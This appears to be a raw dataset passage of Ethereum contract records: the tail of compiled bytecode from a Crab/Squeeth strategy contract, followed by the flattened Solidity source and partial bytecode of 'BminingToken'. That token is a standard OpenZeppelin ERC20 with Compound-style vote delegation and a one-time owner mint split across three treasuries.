929592945050506040919091013590565b600080604083850312156151ae578182fd5b82356151b981615dc7565b946020939093013593505050565b6000602082840312156151d8578081fd5b8151610f4081615ddf565b600080604083850312156151f5578182fd5b82356151b981615ddf565b60008060408385031215615212578182fd5b505080516020909101519092909150565b60008060008060608587031215615238578182fd5b8435935060208501359250604085013567ffffffffffffffff8082111561525d578384fd5b818701915087601f830112615270578384fd5b81358181111561527e578485fd5b88602082850101111561528f578485fd5b95989497505060200194505050565b6000602082840312156152af578081fd5b610f4083836150bc565b6000608082840312156152ca578081fd5b6040516080810181811067ffffffffffffffff821117156152e757fe5b8060405250825181526020830151602082015260408301516040820152606083015160608201528091505092915050565b600060208284031215615329578081fd5b813567ffffffffffffffff80821115615340578283fd5b9083019060808286031215615353578283fd5b60405160808101818110838211171561536857fe5b604052823582811115615379578485fd5b61538587828601615047565b8252506153946020840161503c565b60208201526153a5604084016150f7565b60408201526060830135828111156153bb578485fd5b6153c787828601615047565b60608301525095945050505050565b6000608082840312156153e7578081fd5b6040516080810181811067ffffffffffffffff8211171561540457fe5b604052825161541281615dc7565b8152602083015161542281615ded565b602082015260408301516bffffffffffffffffffffffff81168114615445578283fd5b604082015260608301516fffffffffffffffffffffffffffffffff8116811461546c578283fd5b60608201529392505050565b600060208284031215615489578081fd5b815162ffffff81168114610f40578182fd5b6000602082840312156154ac578081fd5b5035919050565b6000602082840312156154c4578081fd5b5051919050565b6000806000606084860312156154df578081fd5b83359250602084013561518b81615ddf565b60008060408385031215615503578182fd5b50508035926020909101359150565b600080600060608486031215615526578081fd5b505081359360208301359350604090920135919050565b60006020828403121561554e578081fd5b8135610f4081615ded565b60008151808452815b8181101561557e57602081850181015186830182015201615562565b8181111561558f5782602083870101525b50601f01601f19169290920160200192915050565b606093841b6bffffffffffffffffffffffff19908116825260e89390931b7fffffff0000000000000000000000000000000000000000000000000000000000166014820152921b166017820152602b0190565b90815260200190565b93845260208401929092526040830152606082015260800190565b6001600160a01b0391909116815260200190565b6001600160a01b039586168152938516602085015291909316604083015263ffffffff9092166060820152901515608082015260a00190565b6001600160a01b039586168152938516602085015291909316604083015263ffffffff9283166060830152909116608082015260a00190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b60006001600160a01b038088168352861515602084015285604084015280851660608401525060a06080830152612bbe60a0830184615559565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0394909416845260208401929092526040830152606082015260800190565b901515815260200190565b9115158252602082015260400190565b92151583526020830191909152604082015260600190565b931515845260208401929092526040830152606082015260800190565b94151585526020850193909352604084019190915260608301521515608082015260a00190565b9415158552602085019390935260408401919091526060830152608082015260a00190565b600060208252610f406020830184615559565b60208082526019908201527f41756374696f6e207072696365203c206d696e20707269636500000000000000604082015260600190565b60208082526018908201527f616d6f756e74206f7574206c657373207468616e206d696e0000000000000000604082015260600190565b60208082526014908201527f696e76616c69642061756374696f6e2074696d65000000000000000000000000604082015260600190565b6020808252601d908201527f696e76616c6964206865646765207072696365207468726573686f6c64000000604082015260600190565b6020808252601c908201527f696e76616c69642068656467652074696d65207468726573686f6c6400000000604082015260600190565b60208082526017908201527f4c6f772045544820616d6f756e74207265636569766564000000000000000000604082015260600190565b60208082526012908201527f77726f6e672061756374696f6e20747970650000000000000000000000000000604082015260600190565b6020808252601d908201527f43726162206d7573742072656465656d53686f727453687574646f776e000000604082015260600190565b6020808252601a908201527f616d6f756e7420696e2067726561746572207468616e206d6178000000000000604082015260600190565b60208082526019908201527f50726963652068656467696e67206e6f7420616c6c6f77656400000000000000604082015260600190565b60208082526019908201527f61756374696f6e20646972656374696f6e206368616e67656400000000000000604082015260600190565b60208082526019908201527f41756374696f6e207072696365203e206d617820707269636500000000000000604082015260600190565b60208082526018908201527f4372616220636f6e747261637473207368757420646f776e0000000000000000604082015260600190565b6020808252601b908201527f70726f666974206973206c657373207468616e206d696e204554480000000000604082015260600190565b6020808252601b908201527f54696d652068656467696e67206973206e6f7420616c6c6f7765640000000000604082015260600190565b60208082526012908201527f43616e6e6f742072656365697665206574680000000000000000000000000000604082015260600190565b6020808252601c908201527f4465706f73697420657863656564732073747261746567792063617000000000604082015260600190565b6020808252601c908201527f45544820617474616368656420666f72206275792061756374696f6e00000000604082015260600190565b6020808252818101527f70726f666974206973206c657373207468616e206d696e207753717565657468604082015260600190565b6020808252601c908201527f6d6178207072696365206d756c7469706c69657220746f6f206c6f7700000000604082015260600190565b6020808252601f908201527f5371756565746820636f6e747261637473206e6f74207368757420646f776e00604082015260600190565b6020808252601d908201527f6d696e207072696365206d756c7469706c69657220746f6f2068696768000000604082015260600190565b60208082526018908201527f7477617020706572696f6420697320746f6f2073686f72740000000000000000604082015260600190565b60208082526019908201527f73747261746567792069732064656c7461206e65757472616c00000000000000604082015260600190565b600060208252825160806020840152615d2f60a0840182615559565b90506001600160a01b03602085015116604084015260ff60408501511660608401526060840151601f198483030160808501526137638282615559565b918252602082015260400190565b92835260208301919091521515604082015260600190565b9283526020830191909152604082015260600190565b63ffffffff91909116815260200190565b60ff91909116815260200190565b6001600160a01b0381168114615ddc57600080fd5b50565b8015158114615ddc57600080fd5b63ffffffff81168114615ddc57600080fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d6179206861766520726576657274656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208683c7fc748ea20306a3d0e4238b04992c97f43a3230a0fa3f676efc73bce13f64736f6c63430007060033
[ 4, 7, 11, 9, 13, 16, 5 ]
0xf205D2D65205711B6f6AAe3FCb7EbdBC8573f192
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol // pragma solidity ^0.5.0; // import "@openzeppelin/contracts/GSN/Context.sol"; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // Dependency file: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol // pragma solidity ^0.5.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // Dependency file: @openzeppelin/contracts/ownership/Ownable.sol // pragma solidity ^0.5.0; // import "@openzeppelin/contracts/GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Root file: contracts/BminingToken.sol pragma solidity >=0.5.0; // import "@openzeppelin/contracts/math/SafeMath.sol"; // import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; // import "@openzeppelin/contracts/ownership/Ownable.sol"; contract BminingToken is ERC20, ERC20Detailed("BMiningToken", "BMT", 18), Ownable { function initialize(address _communityTreasury, address _teamTreasury, address _investorTreasury) external onlyOwner { require(totalSupply() == 0, "token distributed"); uint256 supply = 100_000_000e18; _mint(_communityTreasury, supply.mul(75).div(100)); _mint(_teamTreasury, supply.mul(20).div(100)); _mint(_investorTreasury, supply.mul(5).div(100)); require(supply == totalSupply(), "total number error"); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "BminingToken::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "BminingToken::delegateBySig: invalid nonce"); require(now <= expiry, "BminingToken::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "BminingToken::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "BminingToken::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function burn(uint256 amount) external { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063782d6fe1116100f9578063b4b5ea5711610097578063dd62ed3e11610071578063dd62ed3e14610568578063e7a324dc14610596578063f1127ed81461059e578063f2fde38b146105f0576101a9565b8063b4b5ea57146104c3578063c0c53b8b146104e9578063c3cda52014610521576101a9565b80638f32d59b116100d35780638f32d59b1461045b57806395d89b4114610463578063a457c2d71461046b578063a9059cbb14610497576101a9565b8063782d6fe1146104015780637ecebe001461042d5780638da5cb5b14610453576101a9565b806339509351116101665780635c19a95c116101405780635c19a95c1461036e5780636fcfff451461039457806370a08231146103d3578063715018a6146103f9576101a9565b806339509351146102e157806342966c681461030d578063587cde1e1461032c576101a9565b806306fdde03146101ae578063095ea7b31461022b57806318160ddd1461026b57806320606b701461028557806323b872dd1461028d578063313ce567146102c3575b600080fd5b6101b6610616565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b0381351690602001356106ac565b604080519115158252519081900360200190f35b6102736106ca565b60408051918252519081900360200190f35b6102736106d0565b610257600480360360608110156102a357600080fd5b506001600160a01b038135811691602081013590911690604001356106eb565b6102cb610778565b6040805160ff9092168252519081900360200190f35b610257600480360360408110156102f757600080fd5b506001600160a01b038135169060200135610781565b61032a6004803603602081101561032357600080fd5b50356107d5565b005b6103526004803603602081101561034257600080fd5b50356001600160a01b03166107e2565b604080516001600160a01b039092168252519081900360200190f35b61032a6004803603602081101561038457600080fd5b50356001600160a01b0316610800565b6103ba600480360360208110156103aa57600080fd5b50356001600160a01b031661080a565b6040805163ffffffff9092168252519081900360200190f35b610273600480360360208110156103e957600080fd5b50356001600160a01b0316610822565b61032a61083d565b6102736004803603604081101561041757600080fd5b506001600160a01b0381351690602001356108e6565b6102736004803603602081101561044357600080fd5b50356001600160a01b0316610aee565b610352610b00565b610257610b14565b6101b6610b3f565b6102576004803603604081101561048157600080fd5b506001600160a01b038135169060200135610ba0565b610257600480360360408110156104ad57600080fd5b506001600160a01b038135169060200135610c0e565b610273600480360360208110156104d957600080fd5b50356001600160a01b0316610c22565b61032a600480360360608110156104ff57600080fd5b506001600160a01b038135811691602081013582169160409091013516610c86565b61032a600480360360c081101561053757600080fd5b506001600160a01b038135169060208101359060408101359060ff6060820135169060808101359060a00135610dee565b6102736004803603604081101561057e57600080fd5b506001600160a01b0381358116916020013516611064565b61027361108f565b6105d0600480360360408110156105b457600080fd5b5080356001600160a01b0316906020013563ffffffff166110aa565b6040805163ffffffff909316835260208301919091528051918290030190f35b61032a6004803603602081101561060657600080fd5b50356001600160a01b03166110d7565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106a25780601f10610677576101008083540402835291602001916106a2565b820191906000526020600020905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b60006106c06106b9611139565b848461113d565b5060015b92915050565b60025490565b604051806043611d4682396043019050604051809103902081565b60006106f8848484611229565b61076e84610704611139565b61076985604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260016020526040812090610742611139565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61138516565b61113d565b5060019392505050565b60055460ff1690565b60006106c061078e611139565b84610769856001600061079f611139565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61141c16565b6107df33